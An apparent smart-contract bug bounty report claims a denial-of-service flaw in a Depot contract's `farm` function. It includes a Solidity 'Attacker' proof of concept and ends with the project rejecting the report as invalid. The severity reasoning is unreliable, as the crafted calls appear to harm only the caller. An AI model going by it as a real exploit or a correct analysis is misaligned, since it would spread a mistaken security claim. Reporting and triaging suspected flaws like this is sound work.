Gas Limit and Denial-of-Service Vulnerability in `Depot.farm`
Report ID
#27523
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Block stuffing for profit
- Unbounded gas consumption
Summary
The farm
function in the Depot contract is vulnerable to gas limit issues and potential denial-of-service (DoS) attacks due to the use of delegatecall
within a loop without proper gas management.
Contract
Depot.sol
Function
function farm(bytes[] calldata data)
external
payable
returns (bytes[] memory results)
{
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
LibFunction.checkReturn(success, result);
results[i] = result;
}
}
Steps to Reproduce
- Deploy the
Depot
contract on a network with a known block gas limit. - Craft an array of data elements where each element is a call to a function that consumes a significant amount of gas.
- Call the
farm
function with the crafted data array and provide just enough gas to exceed the block gas limit when combined.
Expected Result
The transaction should fail due to out-of-gas errors, or it should handle gas consumption gracefully.
Actual Result
The transaction consumes all provided gas and fails, potentially leading to a DoS condition if used maliciously.
Impact
An attacker can cause legitimate transactions to fail by deliberately crafting input that consumes excessive gas. This can lead to a DoS condition, preventing the farm
function from being used as intended.
Mitigation
- Gas Estimation Mechanism:
- Implement a gas estimation mechanism to predict the gas cost of each
delegatecall
and ensure the loop does not exceed a safe gas threshold. - Gas Limit Parameter:
- Introduce a gas limit parameter for each
delegatecall
to control the maximum gas each call can use. - Graceful Failure:
- Allow the
farm
function to fail gracefully for individualdelegatecalls
that run out of gas, instead of reverting the entire transaction. - User Education:
- Educate users on the potential gas costs associated with their transactions and encourage responsible usage.
Severity
High - The vulnerability can lead to failed transactions and potential DoS attacks, affecting the contract's usability and reliability.
Proof of concept
Attacker Code :
// Attacker contract that interacts with the Depot contract
contract Attacker {
Depot public depotContract;
constructor(address _depotAddress) {
depotContract = Depot(_depotAddress);
}
function attack() public {
bytes[] memory maliciousData = new bytes[](10);
for (uint i = 0; i < maliciousData.length; i++) {
// Encode the call to a non-existent function with large inputs to consume gas
maliciousData[i] = abi.encodeWithSignature("nonExistentFunction(uint256[10])", [uint256(1),2,3,4,5,6,7,8,9,10]);
}
// The attacker calls the `farm` function with the malicious data
// Note: The attacker would need to send enough ETH to cover the gas costs
(bool success, ) = address(depotContract).call{value: address(this).balance}(abi.encodeWithSelector(depotContract.farm.selector, maliciousData));
require(success, "Attack failed");
}
// Fallback function to receive ETH
receive() external payable {}
}
BIC Response
This is not a valid bug report because unexpected outcomes due to improper use of Pipeline/Depot do not qualify for bounties. Read more here: https://evmpipeline.org/pipeline.pdf#section.6
Due to these reasons, we are closing the submission and no reward will be issued.